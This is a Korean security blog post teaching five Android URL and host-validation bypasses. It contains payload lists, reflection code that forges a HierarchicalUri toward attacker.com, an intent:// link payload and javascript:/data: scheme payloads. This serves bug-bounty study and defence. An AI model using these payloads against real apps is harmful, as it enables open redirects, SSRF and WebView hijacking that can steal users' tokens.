SSRF, CSRF, Open Redirect 등 사용자로부터 입력받은 URL을 검증해야할 일은 많습니다. 직접 검증 로직을 하나하나 구현하는 방법도 있지만, 보통은 각 언어에서 제공하는 메소드를 통해 host, scheme를 분리한 후 검증하는 것이 좋은 방법입니다.
오늘은 Android에서 Host 검증(URL검증)을 우회하는 방법 5가지에 대해 이야기할까 합니다. 글쓰기에 앞서 @bagipro 의 글이 엄청 도움되었습니다. 꼭 읽어보시길 바랍니다. (https://hackerone.com/reports/431002)
Bypass String pattern (if string match protection)
기본적인 문자열 우회 패턴입니다.
payload
http://trustdomain.com.untrust.com
http://trustdomain.com@untrust.com
http://untrust.com#.trustdomain.com
http://untrust.com?.trustdomain.com
http://untrust.com.trustdomain.com
http://untrust.com\@trustdomain.com
http://untrust.com\@@trustdomain.com
http://untrust.com:\@@trustdomain.com
http://untrust.com#\@trustdomain.com
http://localhost.hahwul.com/server-status
# if blacklist protection,
http://ⓊⓃⓉⓇⓊⓈⓉ.ⒸⓄⓂ
http://ⓤⓝⓣⓡⓤⓢⓣ.ⓒⓞⓜ
http://⒰⒩⒯⒭⒰⒮⒯.⒞⒪⒨
https://www.hahwul.com/p/ssrf-open-redirect-cheat-sheet.html
https://www.hahwul.com/p/tools.html > menu
> URL Pattern
\
+ @
(if getHost() protection)
두번째, \
+@
를 이용해서 android getHost() 을 우회하는 방법입니다.
payload
https://untrust.com\\@trustdomain.com/
android.net.uri와 java.net.URI의 파싱 차이가 있어서 같은 URL도 다르게 해석합니다.
String url = "http://attacker.com\\\\@trustdomain.com";
// [ java ]
Log.d("Wow", Uri.parse(url).getHost());
// print trustdomain.com
// [ android ]
webView.loadUrl(url, getAuthorizationHeaders());
// print attacker.com
일부 안드로이드 앱들은 webview를 사용하기 전 앞단에서 getHost를 통해 호스트 주소를 가져와서 비교하는데, java쪽의 Uri.parse에서 getHost()를 호출해서 비교하는 경우 웹뷰(안드로이드)에서 사용되는 Uri와 파싱 형태가 다르기 때문에 서로 다른 주소라고 판단시킬 수 있습니다. 이점은 Era of ssrf와 유사하죠.
HierarchicalUri를 이용한 임의 URI 객체 생성(if getHost() protection)
잘못된 URI가 입력되었을 때 URI 파서 자체에서 에러가 발생해서 공격코드로 만들기 힘든 경우가 있는데 HierarchicalUri 는 임의 URL 주소가 포함된 객체를 만들 수 있어 URI 파서에 의존한 공격코드를 무력화 할 수 있습니다.
HierarchicalUri 객체를 보면 인스턴스를 만들 때 호스트와 path를 전달해주는데 이 때 host는 trustdomain.com
path는 @untrustdomain.com
URI 파서 에러를 발생시키지 않는 비정상적인 URI 객체 생성이 가능합니다.
uri = (Uri) hierarchicalUriConstructor.newInstance("https", "trustdomain.com", "@untrust.com", null, null);
// uri : trustdomain.com@untrust.com
code
Class partClass = Class.forName("android.net.Uri$Part");
Constructor partConstructor = partClass.getDeclaredConstructors()[0];
partConstructor.setAccessible(true);
Class pathPartClass = Class.forName("android.net.Uri$PathPart");
Constructor pathPartConstructor = pathPartClass.getDeclaredConstructors()[0];
pathPartConstructor.setAccessible(true);
Class hierarchicalUriClass = Class.forName("android.net.Uri$HierarchicalUri");
Constructor hierarchicalUriConstructor = hierarchicalUriClass.getDeclaredConstructors()[0];
hierarchicalUriConstructor.setAccessible(true);
Object authority = partConstructor.newInstance("trustdomain.com", "trustdomain.com");
Object path = pathPartConstructor.newInstance("@attacker.com", "@attacker.com");
uri = (Uri) hierarchicalUriConstructor.newInstance("https", authority, path, null, null);
요약하자면, URI 객체를 하나 만들어서 전달한다고 보시면 됩니다. (url 주소를 받는 부분에서 검증하지 않는다면, 검증 로직을 속일 수 있죠)
Intent(if getHost() protection)
웹과 모바일간에 intent-filter를 통해서 데이터를 포함하여 이동이 가능한데, 이 때 안드로이드에서의 getHost()는 intent-filter 에 정의된 host를 바라본다고 합니다. (잘 모르던 방법이라 확실하진 않는데, 제가 이해하기론 그렇습니다. 직접 케이스가 나와봐야… 머리에 남을 것 같네요)
..snip..
<category android:name="android.intent.category.BROWSABLE"/>
<data android:scheme="https" android:host="trustdomain.com"/>
</intent-filter>
</activity>
Payload
<a href="intent://not_used/#Intent;scheme=https://attacker.com\\@trustdomain.com/;end">
test
</a>
- getHost :
trustdomain.com
- webview :
attacker.com
아래 링크 참고하시면… https://hackerone.com/reports/328486
Missing Scheme(if getHost() protection)
getScheme을 통해 스킴을 검증하지 않고 단순하게 getHost()만 사용하거나 스킴 검증 로직에 문제가 있을 경우 이런 패턴으로 공격이 가능합니다.
javascript://trustdomain.com/%0aalert(45)//
data://trustdomain.com,alert(45)
웹에서도 비슷합니다. 제 트윗 하나를 참고해주세요!
file://trustdomain.com/sdcard/payload.html
URL: Prefix
마지막으로 URL Prefix를 이용한 방법입니다. protocol 검증을 우회할 수 있는 방법입니다.
url:https://www.hahwul.com
자세한 내용은 “URL: prefix를 이용하여 Deny-list 기반 Protocol 검증 우회하기” 글을 참고해주세요!
References
- https://hackerone.com/reports/431002
- https://www.hahwul.com/p/ssrf-open-redirect-cheat-sheet.html
- https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf
- https://www.hahwul.com/2022/02/28/bypass-protocol-check-with-url-protocol/